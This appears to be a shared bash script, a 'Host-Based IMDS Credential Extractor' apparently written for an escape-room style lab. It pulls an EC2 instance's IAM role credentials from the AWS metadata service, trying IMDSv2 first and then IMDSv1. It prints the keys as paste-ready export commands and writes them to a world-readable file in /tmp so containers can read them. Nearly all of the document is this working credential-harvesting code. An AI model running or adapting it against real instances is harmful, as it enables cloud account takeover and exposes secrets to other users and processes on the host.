#!/bin/bash
# Host-Based IMDS Credential Extractor
# Based on the Medium article about IMDSv2 enforcement and container restrictions
# https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457
echo "==== Host-Based IMDS Credential Extractor ===="
echo "Based on research from: https://medium.com/kernel-space/the-dangers-of-modifyinstanceattribute-d4290ca7a457"
echo ""
DEBUG=${DEBUG:-0}
debug_log() {
if [ "$DEBUG" -eq 1 ]; then
echo "[DEBUG] $1" >&2
fi
}
# Check if we're running on the host vs container
check_environment() {
echo "[*] Checking execution environment..."
if [ -f /.dockerenv ] || grep -q docker /proc/1/cgroup 2>/dev/null; then
echo "[!] WARNING: Running inside container - this may fail due to iptables restrictions"
echo "[!] The article explains that containers often have blocked IMDS access"
echo "[!] Attempting anyway, but consider running on the host..."
return 1
else
echo "[+] Running on host system - optimal for IMDS access"
return 0
fi
}
# Check EC2 metadata configuration (as mentioned in the article)
check_metadata_configuration() {
echo "[*] Checking EC2 instance metadata configuration..."
# Get instance ID first
local instance_id
instance_id=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null)
if [ -n "$instance_id" ]; then
echo "[+] Instance ID: $instance_id"
# Check if we have AWS CLI to inspect metadata options
if command -v aws >/dev/null; then
echo "[*] Checking instance metadata options..."
local metadata_options
metadata_options=$(aws ec2 describe-instances \
--instance-ids "$instance_id" \
--query 'Reservations[].Instances[].MetadataOptions' \
--output json 2>/dev/null)
if [ -n "$metadata_options" ]; then
echo "[+] Metadata Options:"
echo "$metadata_options" | jq . 2>/dev/null || echo "$metadata_options"
# Check if IMDSv2 is enforced
local imdsv2_required
imdsv2_required=$(echo "$metadata_options" | jq -r '.[].HttpTokens' 2>/dev/null)
if [ "$imdsv2_required" = "required" ]; then
echo "[!] IMDSv2 is ENFORCED (HttpTokens: required)"
echo "[!] This explains why PUT requests are needed for tokens"
else
echo "[+] IMDSv2 is optional (HttpTokens: $imdsv2_required)"
fi
fi
else
echo "[*] AWS CLI not available - cannot check metadata options"
fi
else
echo "[-] Cannot retrieve instance ID - may not be running on EC2"
return 1
fi
}
# Test basic IMDS connectivity
test_imds_connectivity() {
echo "[*] Testing IMDS connectivity..."
# Test basic connectivity
local basic_response
basic_response=$(timeout 5 curl -s -w "HTTP_CODE:%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null)
if echo "$basic_response" | grep -q "HTTP_CODE:200"; then
echo "[+] Basic IMDS access working (HTTP 200)"
return 0
elif echo "$basic_response" | grep -q "HTTP_CODE:401"; then
echo "[+] IMDS responding with HTTP 401 (IMDSv2 enforced - this is expected)"
return 0
else
echo "[-] IMDS not accessible: $basic_response"
return 1
fi
}
# Method 1: Standard IMDSv2 (should work on host)
try_imdsv2_standard() {
echo "[*] Method 1: Standard IMDSv2 token request (host-based)..."
# Request token with verbose output for debugging
local token_response token
if [ "$DEBUG" -eq 1 ]; then
echo "[DEBUG] Making verbose token request..."
token_response=$(timeout 10 curl -v -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token 2>&1)
echo "[DEBUG] Token response: $token_response"
token=$(echo "$token_response" | tail -n 1 | tr -d '\r\n ')
else
token=$(timeout 10 curl -s -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
http://169.254.169.254/latest/api/token 2>/dev/null | tr -d '\r\n ')
fi
if [ -n "$token" ] && [ ${#token} -gt 10 ]; then
echo "[+] IMDSv2 token obtained successfully!"
echo "[+] Token: ${token:0:20}..."
# Get role name
local role_name
role_name=$(timeout 10 curl -s \
-H "X-aws-ec2-metadata-token: $token" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
if [ -n "$role_name" ]; then
echo "[+] IAM Role found: $role_name"
# Get credentials
local creds
creds=$(timeout 15 curl -s \
-H "X-aws-ec2-metadata-token: $token" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
echo "[+] Credentials retrieved successfully!"
export_credentials "$creds"
return 0
else
echo "[-] Failed to retrieve credentials"
debug_log "Credentials response: $creds"
fi
else
echo "[-] No IAM role found"
fi
else
echo "[-] Failed to obtain IMDSv2 token"
debug_log "Token response: $token"
fi
return 1
}
# Method 2: Try IMDSv1 fallback (as mentioned in article)
try_imdsv1_fallback() {
echo "[*] Method 2: Attempting IMDSv1 fallback..."
# Test if IMDSv1 is available
local imdsv1_test
imdsv1_test=$(timeout 5 curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null)
if [ -n "$imdsv1_test" ] && ! echo "$imdsv1_test" | grep -q "401\|Unauthorized"; then
echo "[+] IMDSv1 appears to be available"
# Try to get role via IMDSv1
local role_name
role_name=$(timeout 10 curl -s \
http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null | tr -d '\r\n ')
if [ -n "$role_name" ]; then
echo "[+] IAM Role found via IMDSv1: $role_name"
# Get credentials via IMDSv1
local creds
creds=$(timeout 15 curl -s \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$role_name" 2>/dev/null)
if [ -n "$creds" ] && echo "$creds" | grep -q "AccessKeyId"; then
echo "[+] Credentials retrieved via IMDSv1!"
export_credentials "$creds"
return 0
fi
fi
else
echo "[-] IMDSv1 not available (likely disabled for security)"
fi
return 1
}
# Method 3: Container to host credential forwarding
setup_credential_forwarding() {
echo "[*] Method 3: Setting up credential forwarding for containers..."
# If we successfully got credentials on host, set up forwarding
if [ -n "$AWS_ACCESS_KEY_ID" ]; then
echo "[+] Setting up credential forwarding to containers..."
# Create credential file that containers can access
local cred_file="/tmp/aws_credentials_escape_room"
cat > "$cred_file" << EOF
# AWS Credentials for Escape Room Lab
# Generated: $(date)
export AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY_ID"
export AWS_SECRET_ACCESS_KEY="$AWS_SECRET_ACCESS_KEY"
export AWS_SESSION_TOKEN="$AWS_SESSION_TOKEN"
EOF
chmod 644 "$cred_file"
echo "[+] Credentials saved to: $cred_file"
echo "[+] Containers can source this file to get credentials"
echo ""
echo "# In container, run:"
echo "source $cred_file"
return 0
fi
return 1
}
# Enhanced credential export
export_credentials() {
local creds="$1"
echo "[*] Parsing and exporting credentials..."
# Try jq first, then fall back to grep
if command -v jq >/dev/null 2>&1; then
export AWS_ACCESS_KEY_ID=$(echo "$creds" | jq -r '.AccessKeyId' 2>/dev/null)
export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | jq -r '.SecretAccessKey' 2>/dev/null)
export AWS_SESSION_TOKEN=$(echo "$creds" | jq -r '.Token' 2>/dev/null)
local EXPIRATION=$(echo "$creds" | jq -r '.Expiration' 2>/dev/null)
else
export AWS_ACCESS_KEY_ID=$(echo "$creds" | grep -oP '"AccessKeyId"\s*:\s*"\K[^"]+' | head -n 1)
export AWS_SECRET_ACCESS_KEY=$(echo "$creds" | grep -oP '"SecretAccessKey"\s*:\s*"\K[^"]+' | head -n 1)
export AWS_SESSION_TOKEN=$(echo "$creds" | grep -oP '"Token"\s*:\s*"\K[^"]+' | head -n 1)
local EXPIRATION=$(echo "$creds" | grep -oP '"Expiration"\s*:\s*"\K[^"]+' | head -n 1)
fi
if [ -n "$AWS_ACCESS_KEY_ID" ] && [ -n "$AWS_SECRET_ACCESS_KEY" ] && [ -n "$AWS_SESSION_TOKEN" ]; then
echo ""
echo "============================================"
echo "# 🎯 AWS Credentials Successfully Retrieved!"
echo "# 📖 Using method from Medium article research"
echo "============================================"
echo ""
echo "# Copy and paste these commands:"
echo "export AWS_ACCESS_KEY_ID=\"$AWS_ACCESS_KEY_ID\""
echo "export AWS_SECRET_ACCESS_KEY=\"$AWS_SECRET_ACCESS_KEY\""
echo "export AWS_SESSION_TOKEN=\"$AWS_SESSION_TOKEN\""
echo ""
if [ -n "$EXPIRATION" ]; then
echo "# Credentials expire at: $EXPIRATION"
echo ""
fi
echo "# Verify with: aws sts get-caller-identity"
echo ""
echo "# 📝 For container use, see credential forwarding above"
echo "============================================"
return 0
else
echo "[-] Failed to parse credentials properly"
debug_log "Raw credentials: $creds"
return 1
fi
}
# Check for iptables rules blocking container access (as per article)
check_iptables_restrictions() {
echo "[*] Checking for iptables restrictions (as described in article)..."
if command -v iptables >/dev/null && [ "$EUID" -eq 0 ]; then
echo "[+] Checking iptables rules for metadata service..."
# Check for rules affecting 169.254.169.254
local metadata_rules
metadata_rules=$(iptables -L -n -v 2>/dev/null | grep "169.254.169.254")
if [ -n "$metadata_rules" ]; then
echo "[+] Found iptables rules for metadata service:"
echo "$metadata_rules"
else
echo "[*] No specific iptables rules found for metadata service"
fi
# Check Docker iptables rules
local docker_rules
docker_rules=$(iptables -t nat -L DOCKER -n -v 2>/dev/null | grep "169.254.169.254")
if [ -n "$docker_rules" ]; then
echo "[+] Found Docker iptables rules for metadata service:"
echo "$docker_rules"
fi
else
echo "[*] Cannot check iptables (need root privileges)"
fi
}
# Main execution
main() {
if [ "$1" == "--debug" ] || [ "$1" == "-d" ]; then
export DEBUG=1
echo "[DEBUG] Debug mode enabled"
fi
# Environment check
local is_host=0
check_environment && is_host=1
echo ""
# Configuration check
check_metadata_configuration
echo ""
# Connectivity test
if ! test_imds_connectivity; then
echo "[-] Basic IMDS connectivity failed"
exit 1
fi
echo ""
# Try IMDSv2 first (should work on host)
if try_imdsv2_standard; then
setup_credential_forwarding
exit 0
fi
echo ""
# Try IMDSv1 fallback
if try_imdsv1_fallback; then
setup_credential_forwarding
exit 0
fi
echo ""
# Check for restrictions
check_iptables_restrictions
echo ""
echo "============================================"
echo "[-] ❌ Failed to retrieve credentials"
echo "============================================"
echo ""
echo "Based on the Medium article analysis:"
echo "1. IMDSv2 may be enforced (requires PUT requests)"
echo "2. Container iptables rules may block metadata access"
echo "3. Network policies may prevent container IMDS access"
echo ""
if [ "$is_host" -eq 0 ]; then
echo "💡 RECOMMENDATION: Run this script on the HOST system:"
echo " 1. Exit the container"
echo " 2. Run this script directly on the EC2 host"
echo " 3. Use credential forwarding for container access"
fi
echo "============================================"
exit 1
}
main "$@"
Comments
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎